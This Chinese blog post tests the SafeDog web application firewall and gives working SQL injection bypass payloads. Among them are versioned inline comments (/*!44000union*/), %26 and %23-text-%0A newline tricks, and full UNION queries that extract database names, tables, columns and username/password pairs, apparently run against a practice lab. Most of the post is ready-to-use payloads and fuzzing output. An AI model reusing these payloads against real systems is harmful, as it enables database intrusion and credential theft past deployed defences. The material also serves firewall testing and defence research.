前言

最近看了一些文章,也来测试一下安全狗,在测试过程中发现有些技巧绕不过了,但是有些还是没加入规则库?

然后测试了一些东西,感觉这个安全狗的拦截规则也很奇怪的,同一个绕过方法,有些不拦有的拦,还是挺神奇的,以后有时间继续测试一下吧

and 1=1

在此之前说一下and 1=1吧,相信大家在测试sql注入的时候经常用到这个,安全狗肯定是会拦下来的

img

这个时候我们可以用以下姿势绕过

# 用负数进行测试
?id=1' and -1=-1 --> true
?id=1' and -1=-2 --> false

# 用%26(即&)代替and
?id=1' %26 1=1 -->true
?id=1' %26 1=2 -->false

# 内敛注释
?id=1' %26 /*!1=1*/ -->ture
?id=1' %26 /*!1=2*/ -->false

# %0A换行符
# 由于1=1的目的是产生true,我们直接用1或者true直接代替1=1也是可以的
# 如果没有换行符是会被拦截的,可以试试
?id=1' and %23%0A 1 -->true
?id=1' and %23%0A 0 -->false

?id=1' and %23%0A true/false

# 使用hex()
?id=1' and  hex(1)
?id=1' and  hex(0)

内敛注释

相信大家都了解过/**/代替空格进行绕过,但是这点小把戏早被安全狗收录,然后就是/*!*/,这个内敛注释代表里面的语句也是要执行的,可惜也早被收录

/*!50000SQL语句*/,则是代表版本号超过5.0.00就可以执行里面的SQL语句,但是尝试了一下有很多都被收录了,然后我fuzz了一下,发现44000-45000之间的数据还是可以使用的(真的不太懂为什么这些就可以…)

img

1    44000    200    false    false    944    
2    44050    200    false    false    944    
3    44100    200    false    false    944    
4    44150    200    false    false    944    
5    44200    200    false    false    944    
6    44250    200    false    false    944    
7    44300    200    false    false    944    
8    44350    200    false    false    944    
9    44400    200    false    false    944    
10    44450    200    false    false    944    
11    44500    200    false    false    944    
12    44550    200    false    false    944    
13    44600    200    false    false    944    
14    44650    200    false    false    944    
15    44700    200    false    false    944    
16    44750    200    false    false    944    
17    44800    200    false    false    944    
18    44850    200    false    false    944    
19    44900    200    false    false    944    
20    44950    200    false    false    944    
21  44500   200 false   false   944
img

那就舒服了啊…

?id=1' order /*!44000by*/ 4
?id=-1' /*!44000union*/ /*!44000select*/ 1,2,3

img

在查数据库的时候发现database()也会被拦截,只要把database()隔离开来就行,这里只需要用/*!*/就可以轻松绕过了(这里规则没更新?很迷)

# 爆库
?id=-1' /*!44000union*/ /*!44000select*/ 1,database/*!()*/,3

img

# 爆表
?id=-1' /*!44000union*//*!44000select*/ 1,2,(/*!44000select*/ /*!44000group_concat(table_name)*/ from information_schema.tables where table_schema=database/*!()*/)--+

在哪里需要用/*!44000*/需要通过删减信息发现哪里是安全狗拦截的判断点

比如在这里:

select group_concat(table_name) from information_schema.tables

删了group_concat(table_name)是不会拦截的,删了from也不会拦截,删了information_schema.tables也不会拦截,应该就是他们三个组合在一起才会进行拦截,然后用/*!44000*/弄掉其中两个就可了

img

# 爆字段
?id=-1' /*!44000union*//*!44000select*/ 1,2,(select /*!44000group_concat(column_name)*/ /*!44000from*/ information_schema.columns where table_schema='security' /*!44000and*/ table_name='users')--+

img

# 爆数据
?id=-1' /*!44000union*//*!44000select*/ 1,2,(select /*!44000group_concat(username,password)*/ /*!44000from*/ security.users)--+

img

%0A换行符

%0A,%0a是换行符的意思,我们可以利用注释符先注释掉后面的,再接上一个换行符另起一行接上其他组成SQL语句

mysql> select * from user where id=1 order #lll
    -> by #lz2y
    -> 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | dasd     | dsa      |
+----+----------+----------+
1 row in set (0.00 sec)
?id=1' order%23%0Aby 4--+ 
?id=-1' union%23%0Aselect 1,2,3--+

# 很尴尬,被拦下来了,但是在注释符后面加上一些东西就可以绕过了,他应该是拦截%23%0A,有点意思...
?id=-1' union%23lz2y%0Aselect 1,2,3--+
?id=-1' union--+lz2y%0Aselect 1,2,3--+

img

# 爆表
?id=-1' union%23lz2y%0Aselect 1,(select group_concat(table_name)%23lz2y%0Afrom%23lz2y%0A information_schema.tables where table_schema=database%23lz2y%0A()),3--+

img

接下来的操作和上面的一样绕了,关键是要找到他是通过判断什么来拦截的,这样可以最少的操作来达到效果

参考资料

  • https://mp.weixin.qq.com/s/LFR1OLkY66G701mQS-KNcg
说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...